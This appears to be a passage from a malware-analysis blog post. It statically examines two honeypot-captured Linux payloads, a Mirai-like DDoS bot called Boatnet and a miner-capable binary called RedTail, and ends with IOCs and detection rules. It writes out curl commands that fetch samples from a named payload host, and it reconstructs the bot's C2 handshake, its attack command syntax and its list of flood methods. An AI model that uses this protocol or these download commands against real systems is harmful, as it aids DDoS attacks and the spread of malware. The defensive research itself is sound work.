torsocks curl http://2.26.98.67/hiddenbin/

Representative result:

Index of /hiddenbin

boatnet.arm       2026-04-14 12:19   25K
boatnet.arm5      2026-04-14 12:19  9.1K
boatnet.arm6      2026-04-14 12:19   31K
boatnet.arm7      2026-04-14 12:19   51K
boatnet.i486      2026-04-14 12:19   28K
boatnet.i686      2026-04-14 12:19   23K
boatnet.m68k      2026-04-14 12:19   53K
boatnet.mips      2026-04-14 12:19   27K
boatnet.mpsl      2026-04-14 12:19   27K
boatnet.ppc       2026-04-14 12:19   25K
boatnet.sh4       2026-04-14 12:19   40K
boatnet.spc       2026-04-14 12:19   51K
boatnet.x86       2026-04-14 12:19   22K
boatnet.x86_64    2026-04-14 12:19   24K

That spread across ARM, MIPS, PPC, SH4, x86, and x86_64 is a classic IoT botnet distribution pattern. In practical terms, it looks like Mirai.

Safely retrieve one Boatnet sample​

Retrieve, but do not execute, the x86_64 sample:

torsocks curl -v http://2.26.98.67/hiddenbin/boatnet.x86_64 \
  -o /home/analysis/boatnet.x86_64

Representative result:

HTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 24248

Hash it:

sudo sha256sum /home/analysis/boatnet.x86_64

Result:

c8ac1b479721ae4857cb0c6ff3d011b3248eae14519d26a8167eee58fd41f287  /home/analysis/boatnet.x86_64

Identify and unpack Boatnet​

Basic file type:

sudo file /home/analysis/boatnet.x86_64

Representative result:

boatnet.x86_64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header

Initial strings showed a UPX marker:

sudo strings -a -n 6 /home/analysis/boatnet.x86_64 | grep -Ei 'UPX|packed'

Representative result:

$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.94 Copyright (C) 1996-2017 the UPX Team. All Rights Reserved. $

Validate and unpack:

sudo upx -t /home/analysis/boatnet.x86_64

sudo upx -d /home/analysis/boatnet.x86_64 \
  -o /home/analysis/boatnet.x86_64.unpacked

Representative result:

testing /home/analysis/boatnet.x86_64 [OK]

File size         Ratio      Format      Name
43568 <-          24248      55.66%      linux/amd64   boatnet.x86_64.unpacked

Unpacked 1 file.

Extract Boatnet attack and traffic-shaping strings​

After unpacking, the strings become much more useful:

sudo strings -a -n 5 /home/analysis/boatnet.x86_64.unpacked | head -200

Representative result:

[1;33m[BOT] Attacking %s:%d with %s
GET /%s?%s HTTP/1.1
Host: %s
User-Agent: %s
Referer: %s
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Forwarded-For: %d.%d.%d.%d
X-Real-IP: %d.%d.%d.%d
Via: 1.1 %d.%d.%d.%d
Cache-Control: no-cache
Connection: keep-alive
POST /%s HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=%s; _ga=GA1.2.%d.%d

This is HTTP flood traffic generation with browser headers, fake forwarding headers, and session/cookie-like data.

Recover Boatnet C2 IP and protocol strings​

Search for IPs and C2-ish strings:

sudo strings -a -n 4 /home/analysis/boatnet.x86_64.unpacked \
  | grep -E '[0-9]{1,3}(\.[0-9]{1,3}){3}'

Representative result:

2.26.98.67

Use radare2 to locate string VMAs:

sudo r2 -q -c 'aaa' \
  -c 'izz~2.26.98.67' \
  -c 'izz~Connected' \
  -c 'izz~HTTPRAGE' \
  -c 'izz~CFBYPASS' \
  -c 'q' \
  /home/analysis/boatnet.x86_64.unpacked

Representative result:

386 0x0000875e 0x0040875e 10 11 .rodata ascii 2.26.98.67
387 0x00008769 0x00408769 10 11 .rodata ascii Connected\n
391 0x00008797 0x00408797 8  9  .rodata ascii HTTPRAGE
404 0x00008801 0x00408801 8  9  .rodata ascii CFBYPASS

Find cross-references:

sudo r2 -q -c 'aaa' \
  -c 'axt @ 0x0040875e' \
  -c 'axt @ 0x00408769' \
  -c 'axt @ 0x00408797' \
  -c 'axt @ 0x00408801' \
  -c 'q' \
  /home/analysis/boatnet.x86_64.unpacked

Representative result:

(nofunc) 0x40110c [DATA] mov edi, str.2.26.98.67
(nofunc) 0x401152 [DATA] mov esi, str.Connected_n
(nofunc) 0x40142b [DATA] mov edi, str.HTTPRAGE
(nofunc) 0x40164b [DATA] mov edi, str.CFBYPASS

Reconstruct Boatnet C2 behavior​

Dump the relevant areas around those references:

sudo r2 -q -c 'aaa' \
  -c 'pd 120 @ 0x004010d0' \
  -c 'pd 220 @ 0x004013f0' \
  -c 'pd 220 @ 0x00401610' \
  -c 'q' \
  /home/analysis/boatnet.x86_64.unpacked

Representative disassembly:

0x0040110c      mov edi, str.2.26.98.67
0x00401111      mov word [rsp + 0x1100], 2
0x0040111b      mov word [rsp + 0x1102], 0xbc01
...
0x00401152      mov esi, str.Connected_n    ; "Connected\n"
...
0x004011a0      mov esi, str.PING
...
0x004011bc      mov esi, str.PONG_n         ; "PONG\n"

The 0xbc01 value is stored in network byte order. Interpreted as a TCP port, that gives:

2.26.98.67:44481

The C2 protocol is plaintext TCP:

Bot -> C2: Connected
C2  -> Bot: PING
Bot -> C2: PONG

The command parser uses this format string:

.%s %s %d %d %d

That reconstructs to:

.<method> <target> <port> <duration> <threads>

Example shape:

.HTTPRAGE example.com 80 60 100

The leading dot is checked before parsing, which means attack commands must begin with ..

Supported methods observed in the unpacked binary include:

UDP
TCP
HTTPRAGE
BYPASS
MC-TCP
MC-UDP
MCHANDSHAKE
MCLEGIT
OVHUDP
FORTNITE
DISCORD
RAKNET
TCPRAGE
VSE
DNS
ICMP
HTTP
HTTPS
CFBYPASS
TLS
DISCORDBYPASS
RAGE

This confirms Boatnet is a modular DDoS bot with a raw TCP, newline-delimited C2 protocol.

Infrastructure Roles​

2.26.98.67
  Role: Boatnet payload host and apparent Boatnet C2
  Paths: /bin.sh, /hiddenbin/boatnet.*
  Port: 44481
  Confidence: high for Boatnet distribution

Boatnet
  Role: commodity multi-architecture IoT botnet payload set
  Pattern: Mirai-like architecture fanout

IOCs​

2.26.98.67
2.26.98.67:44481
http://2.26.98.67/bin.sh
http://2.26.98.67/hiddenbin/boatnet.arm
http://2.26.98.67/hiddenbin/boatnet.arm5
http://2.26.98.67/hiddenbin/boatnet.arm6
http://2.26.98.67/hiddenbin/boatnet.arm7
http://2.26.98.67/hiddenbin/boatnet.i486
http://2.26.98.67/hiddenbin/boatnet.i686
http://2.26.98.67/hiddenbin/boatnet.m68k
http://2.26.98.67/hiddenbin/boatnet.mips
http://2.26.98.67/hiddenbin/boatnet.mpsl
http://2.26.98.67/hiddenbin/boatnet.ppc
http://2.26.98.67/hiddenbin/boatnet.sh4
http://2.26.98.67/hiddenbin/boatnet.spc
http://2.26.98.67/hiddenbin/boatnet.x86
http://2.26.98.67/hiddenbin/boatnet.x86_64

Detection Logic​

IF
honeypot session contains wget or curl to /bin.sh
THEN
High-confidence Linux IoT botnet loader activity

Observations & Conclusions​

The Boatnet activity shows a layered post-compromise workflow combining commodity botnet deployment with a more flexible, dynamically configured payload.

The 2.26.98.67 infrastructure served bin.sh and a wide set of boatnet.* architecture builds. That is noisy, high-volume botnet infrastructure!

Overview​

RedTail - a dynamically configured miner-capable payload.

Campaign Graph​

Methodology​

This investigation was done entirely statically (i.e. I didn't execute the binary && Hybrid Analysis couldn't run it anyway since some of the crucial components are dynamically generated at runtime!)

1. Inspect ELF metadata without execution
2. Check entropy and obvious packer indicators (UPX packer was used)
3. Note high-entropy regions for offline inspection
4. Attempt safe unpacking only when packer evidence supports it
5. Use strings and command logs to separate static configuration from runtime (dynamic) configuration
6. Correlate honeypot sessions, uploaded filenames, source IPs, staging domains, and payload-hosting infrastructure

Tools used​

You don't need anything fancy, just a few libraries:

• readelf, file, stat, and xxd for ELF structure and byte-level triage
• binwalk and binwalk -E for signature and entropy checks
• strings, grep, and shell one-liners for static indicator extraction
• upx for packer validation
• honeypot logs for attacker workflow and source correlation

Investigation​

Establish the RedTail upload pattern​

Use a broad search over your honeypot logs:

sudo grep -RIEi 'redtail|wget|curl|stratum|pool|wallet|rig-id|worker-id|access-token' \
  /home/honeypotPath

Representative result:

{..."timestamp":"2026-04-21T08:32:54.874315Z","src_ip":"130.12.180.51","session":"af0e2f1629e0","protocol":"ssh"}

Identify architectures and basic ELF traits​

Run file across the copied samples:

sudo file /home/analysis/redtail/redtail.*

Representative result:

/home/analysis/redtail/redtail.arm7:   ELF 32-bit LSB executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, no section header
/home/analysis/redtail/redtail.arm8:   ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), statically linked, no section header
/home/analysis/redtail/redtail.i686:   ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, no section header
/home/analysis/redtail/redtail.x86_64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header

Key takeaways:

• The operator has builds for multiple CPU families
• The binaries are statically linked
• The files lack section headers

Inspect ELF headers without running the sample​

Use readelf to inspect program headers and confirm the lack of sections:

sudo readelf -a /home/analysis/redtail/redtail.arm7

Representative result:

ELF Header:
  Class:                             ELF32
  Data:                              2's complement, little endian
  Type:                              EXEC (Executable file)
  Machine:                           ARM
  Entry point address:               0x501c0c
  Number of section headers:         0

There are no sections in this file.

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  LOAD           0x000000 0x00010000 0x00010000 0x01000 0x3b5040 RW  0x1000
  LOAD           0x000000 0x003c6000 0x003c6000 0x13d254 0x13d254 R E 0x1000
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10

This is a good early warning that string extraction and program-header-based offsets may be more useful than section-based workflows.

Check entropy and obvious packing indicators​

Use binwalk for signatures and entropy:

sudo binwalk /home/analysis/redtail/redtail.arm7
sudo binwalk -E /home/analysis/redtail/redtail.arm7

Representative result:

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             ELF, 32-bit LSB executable, ARM, version 1 (GNU/Linux)

DECIMAL       HEXADECIMAL     ENTROPY
--------------------------------------------------------------------------------
1024          0x400           Rising entropy edge (0.975263)

A high-entropy edge is not proof of packing by itself, but it is a useful triage clue. In this case, a byte-level check also revealed UPX-like material in at least one sample region.

sudo xxd -s 0x80 -l 128 /home/analysis/redtail/redtail.arm7

Representative result:

00000090: 1000 0000 1ed7 d4fb 5550 5821 5816 0e17  ........UPX!X...

Important caveat: seeing UPX!-like bytes does not always mean the current tool can unpack the exact sample. Validate before attempting unpacking!

Test UPX safely​

For the RedTail ARM sample, UPX did not identify a standard packed file:

sudo upx -t /home/analysis/redtail/redtail.arm7

Representative result:

upx: /home/analysis/redtail/redtail.arm7: NotPackedException: not packed by UPX

For the x86_64 RedTail sample, unpacking succeeded:

sudo upx -d /home/analysis/redtail/redtail.x86_64 \
  -o /home/analysis/redtail/unpacked.x86_64

Representative result:

File size         Ratio      Format      Name
5042463 <-        1880264    37.29%      linux/amd64   unpacked.x86_64

Unpacked 1 file.

That unpacked x86_64 build became the most useful static target.

Extract RedTail mining and protocol indicators​

Search for mining-related strings:

sudo strings -a -n 6 /home/analysis/redtail/unpacked.x86_64 \
  | grep -Ei 'pool|stratum|:3333|:4444'

Representative result:

pool address
pools
stratum+ssl://%s
stratum+ssl://
stratum+tcp://
[1;37mPOOL #%-7zu
[0;31mno active pools, stop mining

These are meaningful, as they show the binary supports mining and Stratum-style communication, but the actual pool and wallet are not present in plaintext.

Search for likely runtime configuration terms:​

sudo strings -a -n 6 /home/analysis/redtail/unpacked.x86_64 \
  | grep -Ei 'worker-id|access-token|restricted|rig-id|application/json|keepalived|jsonrpc'

Representative result:

worker-id
access-token
restricted
rig-id
{"id":%ld,"jsonrpc":"2.0","method":"keepalived","params":{"id":"%s"}}
application/json

The keepalived JSON-RPC-style template is one of the strongest static signals:

{"id":%ld,"jsonrpc":"2.0","method":"keepalived","params":{"id":"%s"}}

That points to a runtime model:

RedTail binary
  -> contacts remote controller/config service
  -> sends keepalive / identity data
  -> receives mining pool + wallet + worker settings dynamically

Infrastructure Roles​

130.12.180.51
  Role: source IP of RedTail uploads
  Evidence: RedTail architecture-specific uploads in the honeypot dataset
  Confidence: high for source correlation 


RedTail
  Role: miner-capable Linux payload
  Static finding: XMRig/Stratum capability present
  Missing statically: wallet, pool, complete mining config
  Likely model: runtime configuration via C2

Detection Logic​

IF
binary strings contain stratum+tcp or stratum+ssl
THEN
Miner-capable payload with likely runtime-delivered configuration

Observations & Conclusions​

RedTail’s value is in runtime configuration.

The RedTail sample exposes miner capability, Stratum support, JSON-RPC-style behavior, and worker/config terms, but not a static wallet or pool. That points toward dynamic C2 delivery of mining configuration.